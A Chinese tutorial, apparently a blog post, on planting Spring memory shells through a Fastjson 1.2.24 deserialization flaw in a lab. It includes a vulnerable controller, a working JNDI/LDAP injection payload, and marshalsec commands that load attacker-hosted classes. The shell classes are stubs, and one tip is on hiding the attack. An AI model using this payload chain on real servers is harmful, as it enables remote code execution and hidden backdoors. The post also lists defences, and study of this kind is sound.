新手友好,spring内存马学习篇二
字数 907 2025-08-29 08:30:12

Spring内存马学习与实践指南(二)

1. Fastjson反序列化漏洞环境搭建

1.1 环境准备

在Spring Boot项目中引入Fastjson 1.2.24版本(存在漏洞的版本):

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

1.2 创建漏洞触发端点

创建FastJsonController控制器,提供POST接口用于触发Fastjson反序列化:

package org.example.springmemory.controller;

import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class FastJsonController {
    @ResponseBody
    @RequestMapping(value = "/FastJson", method = RequestMethod.POST)
    public String test(@RequestBody String vul){
        System.out.println(vul);
        JSON.parseObject(vul);
        return vul;
    }
}

1.3 测试漏洞

使用JNDI注入工具和以下payload进行测试:

POST /FastJson HTTP/1.1
Host: localhost:8080
Content-Type: application/json; charset=utf-8
Content-Length: 273

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.1.8:1389/Basic/Command/calc",
        "autoCommit":true
    }
}

2. Controller内存马实现

2.1 内存马类编写

创建ControllerMemory类,直接在类中编写恶意代码(不使用内部类):

// 示例代码结构(具体实现需根据实际需求)
public class ControllerMemory {
    static {
        try {
            // 恶意代码实现
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    // 执行方法
    public void exec() {
        // 恶意操作实现
    }
}

关键修改点:

  1. 将执行方法直接放在本类中
  2. 静态代码块中实现注入逻辑
  3. 确保类名和方法调用的一致性

2.2 部署与执行

  1. 将编译后的ControllerMemory.class文件放在可访问的HTTP服务目录
  2. 使用marshalsec工具启动LDAP服务:
    java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://your-ip:port/#ControllerMemory 9999
    
  3. 发送精心构造的Fastjson payload触发漏洞

3. Interceptor内存马实现

3.1 内存马类编写

创建InterceptorMemory类,继承HandlerInterceptor

public class InterceptorMemory implements HandlerInterceptor {
    static {
        try {
            // 注入逻辑
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
        // 恶意操作实现
        return true;
    }
    
    // 其他必要方法...
}

3.2 部署与执行

  1. 将编译后的InterceptorMemory.class文件放在可访问的HTTP服务目录
  2. 使用marshalsec工具启动LDAP服务:
    java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://your-ip:port/#InterceptorMemory 9999
    
  3. 发送精心构造的Fastjson payload触发漏洞

4. 关键注意事项

  1. 版本选择:必须使用存在漏洞的Fastjson版本(如1.2.24)
  2. 类加载机制:理解Java类加载机制对内存马实现至关重要
  3. 异常处理:妥善处理异常避免暴露攻击行为
  4. 路径问题:确保内存马类文件可通过HTTP访问
  5. 调试技巧:遇到问题时通过debug定位问题原因

5. 防御措施

  1. 及时升级Fastjson到最新安全版本
  2. 限制反序列化的类白名单
  3. 监控异常的JNDI请求
  4. 实施严格的输入验证
  5. 使用安全产品检测内存马行为

6. 参考资源

请务必在合法授权环境下进行相关测试和研究,遵守法律法规。

Spring内存马学习与实践指南(二) 1. Fastjson反序列化漏洞环境搭建 1.1 环境准备 在Spring Boot项目中引入Fastjson 1.2.24版本(存在漏洞的版本): 1.2 创建漏洞触发端点 创建 FastJsonController 控制器,提供POST接口用于触发Fastjson反序列化: 1.3 测试漏洞 使用JNDI注入工具和以下payload进行测试: 2. Controller内存马实现 2.1 内存马类编写 创建 ControllerMemory 类,直接在类中编写恶意代码(不使用内部类): 关键修改点: 将执行方法直接放在本类中 静态代码块中实现注入逻辑 确保类名和方法调用的一致性 2.2 部署与执行 将编译后的 ControllerMemory.class 文件放在可访问的HTTP服务目录 使用marshalsec工具启动LDAP服务: 发送精心构造的Fastjson payload触发漏洞 3. Interceptor内存马实现 3.1 内存马类编写 创建 InterceptorMemory 类,继承 HandlerInterceptor : 3.2 部署与执行 将编译后的 InterceptorMemory.class 文件放在可访问的HTTP服务目录 使用marshalsec工具启动LDAP服务: 发送精心构造的Fastjson payload触发漏洞 4. 关键注意事项 版本选择 :必须使用存在漏洞的Fastjson版本(如1.2.24) 类加载机制 :理解Java类加载机制对内存马实现至关重要 异常处理 :妥善处理异常避免暴露攻击行为 路径问题 :确保内存马类文件可通过HTTP访问 调试技巧 :遇到问题时通过debug定位问题原因 5. 防御措施 及时升级Fastjson到最新安全版本 限制反序列化的类白名单 监控异常的JNDI请求 实施严格的输入验证 使用安全产品检测内存马行为 6. 参考资源 Spring官方文档 Fastjson安全公告 Java反序列化漏洞研究资料 请务必在合法授权环境下进行相关测试和研究,遵守法律法规。